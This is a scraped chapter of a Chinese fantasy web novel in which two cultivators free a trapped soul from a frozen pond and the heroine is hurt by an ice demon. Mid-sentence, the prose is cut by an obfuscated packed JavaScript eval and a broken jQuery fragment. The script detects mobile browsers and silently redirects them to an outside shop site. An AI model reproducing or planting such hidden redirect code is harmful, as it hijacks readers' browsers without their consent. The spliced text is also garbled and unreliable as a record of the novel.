文趣网 > 其他小说 > 社会游戏 > 20. 第 20 章
    青葵抬起头,“你解?”

    时度从袖中取出一只白玉小葫芦,只有拇指长,葫芦口缠着几圈暗金色细线。

    “这只法器可以分离魂魄。主角来这里时没做准备,所以封印大开,我们完全不需要打开全部的封印,用法器把残魂剥离出来,然后带走,也算完成剧情。”

    青葵盯着那只小葫芦,眼睛一点点亮起来。

    “你什么时候拿的?”

    “回去准备的时候。”

    “你早就猜到了还不告诉我。”

    时度看她,“我在想,万一你能够控制住自己,不动手呢?你理智地思考一下,就算解开封印,主角不在,也未必会触发剧情。”

    “我理智地想完了。这么靠谱的队友,必须干票大的!”青葵开心地笑。

    时度:“……”

    “还有,我才不走。”青葵站起来,精神抖擞地分配任务,“你负责分魂,我给你护法。你的队友,也必须靠谱。”

    时度没有在这时候再和她争,示意侧后方,“站那里。如果封印失控,你先撤,不要靠近水车。”

    “放心,我跑得飞快。”

    时度转向池塘,白玉小葫芦悬在他掌上,暗金色细线一圈圈自行解开。

    灵力沿冰面铺开,冻结多年的木轮低频率地震动,积雪从轮叶边缘簌簌落下。

    水车开始转动。

    吱呀——

    那声音沉重又缓慢,“咔咔咔咔”,垂在轮叶下的冰棱接连断裂,砸进冰面,四分五裂。

    起风了,风卷起大雪,绕着池塘和青葵、时度旋转,形成暴风雪的龙卷风。

    池中央的红鲤忽然乱了方向。

    它在那一小圈活水中撞来撞去,冰面的一条裂缝已经从水车下方延伸到它所在的活水池。细密的裂纹四处蔓延,冷彻入骨的魔气从裂缝中透出,将整座池塘蒙上一层灰雾。

    时度抬手,小葫芦飞至红鲤上方。

    冰面轰然碎开。

    水汽裹着碎冰冲向半空,红鲤跃出水面,鲜红的鱼身在雾中拉长,转眼化作一缕半透明的魂影。那是个红衣男子,看上去年纪不大,眉眼尚未凝实,声音倒很洪亮。

    “你们疯了?敢给极川冰魔解封!”

    他环顾一周,看清脚下不断崩裂的池塘,嗓音都变了,“现在收手还来得及,不然别说你们两人,整座秘境都会被它搅碎!”

    时度没有解释,手腕一翻。

    小葫芦口金光骤亮,红衣魂魄刚来得及骂出半个“你”,便被拉成长长一缕,倏地收了进去。

    葫芦塞自行合拢。

    青葵刚要松一口气,池底猛地传来一声巨响。

    冻住的水车向前转了半圈,像被什么东西从下面狠狠撞了一下。方才还绕着池塘旋转的雪骤然散开,极寒的雾气贴着地面向外暴涨,所过之处,碎裂的冰面重新凝结,连半空中的雪都冻成了锋利的白屑。

    时度神色一变,“残魂也是封印的一部分。”

    “还能封回去吗?可以补吗?”

    “可以。”时度已经取出一张金色符箓,推向半空,那里如网般隐隐透光的纹路,是封印的真身。

    下一秒,一道蕴含浓稠恶意的魔气从池底冲出。

    它在半空聚成狭长的冰刃,直劈时度面门。冰刃撞上青葵搭起的结界,轰然炸开,巨大的力道震得青葵的手臂发麻,清脆的一声响,冰刃和结界碎了。

    冰屑迎面扑来,青葵下意识抬手挡住锋利的碎片。时度仍站在水车前,一只手按着金色符箓,另一只手将外溢的魔气逼回裂口。碎冰擦过他的脸颊,留下细碎的血痕,转眼间衣袍被划得破破烂烂。

    防御结界!

    青葵手上快速结印,可冰魔的下一击比她更快。

    水车下又传来撞击,轮轴被顶得翘起,封印裂口里涌出大片黑霜,而后喷薄而出。

    青葵慌了神,她低下眼。

    腕上的玉环、腰侧的护符、衣襟里坠着的灵珠,全亮了起来。

    从青蘅住处带出来的护身法器,几乎都在她身上。

    是刚进秘境前,时度一件一件挂上去的。

    青葵上前转身护在时度身前,背对袭来的破空声。

    第一层护身光罩亮起,撑了不到半息,砰然破碎。

    紧接着是第二层。

    “砰砰砰砰”!

    玉环在她腕间裂开,腰侧的护符自燃成灰烬。最后一颗灵珠熄灭时,残余的魔气撞进青葵的后背。

    青葵被这股大力猛推向前,扑进时度怀里,同时身体仿佛坠入三九寒天的冰窖。

    极寒瞬间穿透衣料,扎进经脉。她痛得脸色发白,瞬间失去意识。

    好冷。

    封印归位,天上狂舞的大雪停了一瞬,而后缓缓温柔下落。

    青葵顺着时度的肩侧往下滑。她没有摔进雪里,一只手臂从腰间横过,将她接回怀里。

    “青葵。”

    时度的声音很近,又像隔着一层很厚的冰。

    青葵想答应,嘴唇动了动,没有发出声音。

    “青葵,别睡。”

    她勉强睁开眼睛。

    时度半跪在雪地里,抱着她。

    青葵看不清他的神情,只感觉托在自己颈后的手收得很紧,指腹贴着她的皮肤,带着一点控制不住的颤抖。

    他慌张地单手摸索什么,瓷瓶瓷罐乱七八糟磕碰在一起。

    小葫芦躺在一旁剧烈晃动,里面的魂魄大声喊:“左数第二个青瓶里的三颗,第四个白瓶里的一颗,够了!让她吃下去!”

    青葵费力咽了丹药,身体骤然离地。

    她感觉风雪从耳畔掠过,全身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940286|213900||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的骨头血肉更疼了。

    时度似乎打算带她御剑离开。

    小葫芦立刻从他袖中探出半截,红鲤在里面嚷道:“她现在经脉里全是乱窜的魔气,受不得灵力冲撞!你还想抱着她飞多快?是嫌她不够疼吗?”

    “前辈,我要带她出去找医修,她不能死。”时度眉眼中含着冰,好像青葵出事,他会把这方世界掀了。

    “放心,死不了!她现在最怕的是疼,你找个附近避风的地方,慢点带她过去,别再折腾她的经脉。我观你二人气息双修过,你用灵力替她理顺经脉中的乱流,一会儿就能缓过来。”

    这抹残魂是正道中的正派,应该不是撒谎。

    时度心中安定了一些,但眉间冷肃依然未消。

    小葫芦里低低的嘟囔:“现世不知是何年代,修行者都吃不得一点苦,吸点魔气岔了气都这般大惊小怪……”

    洞穴里,时度背靠石壁坐下,让青葵侧身靠在自己怀里,又解下外袍,裹住她的肩背。

    青葵感觉意识清醒了一点,痛感也更清晰了。

    贴在后心的手掌每渡来一点灵力,都会让她一阵发抖,她脸颊贴着时度的脖颈,低声呼痛。

    “好痛……”

    “好冷……”

    她想到什么,气若游丝地问:“残魂救出来了,有人出现吗?”

    时度沉默,然后回答:“没有。”

    青葵的睫毛很慢地扇动一下。

    又没有找到,又是空忙一场。她总是抱着若有似无的希望期待幸运降临,现实却从来没有重逢。

    怎么会这样?难道没有告别就是最后的结局吗?

    她好累,找得好累。

    她被留下来,留在孤零零的现实中,她好想大喊,走失的不止是爸爸妈妈,还有一个丢失了方向的自己。

    孤零零的,站在十字路口,人群以奇怪的眼光看着她,她只能假装自己知道去哪儿。

    其实,她不知道啊。

    “时度,好痛,好难啊……为什么这么难……为什么就是找不到……”

    她的脸侧过去,额头紧紧地贴在他的肩头,那是一个脆弱的姿势。

    疼痛让人变脆弱。

    时度低下头,下颌轻轻抵住她的发顶,揽在她腰间的手臂一点点收紧。

    她的眼泪无声洇湿了他的衣襟。分明只有一点潮湿的温热,却透过了骨肉,全渗进了他的心脏。

    到了这一刻,好像只能承认,他陪她走到这里,并不是因为那些牵强的现实借口。

    他一直以为的只是动容,只是尚在可控阈值之内的好感,实则是满满的、随时溢出的心动,在汩汩流淌时,尽数化成了心疼。

    青葵听着那道有力的心跳,和温柔得像对待珍宝般的嗓音。

    “青葵,相信我,我会帮你找到他们的。”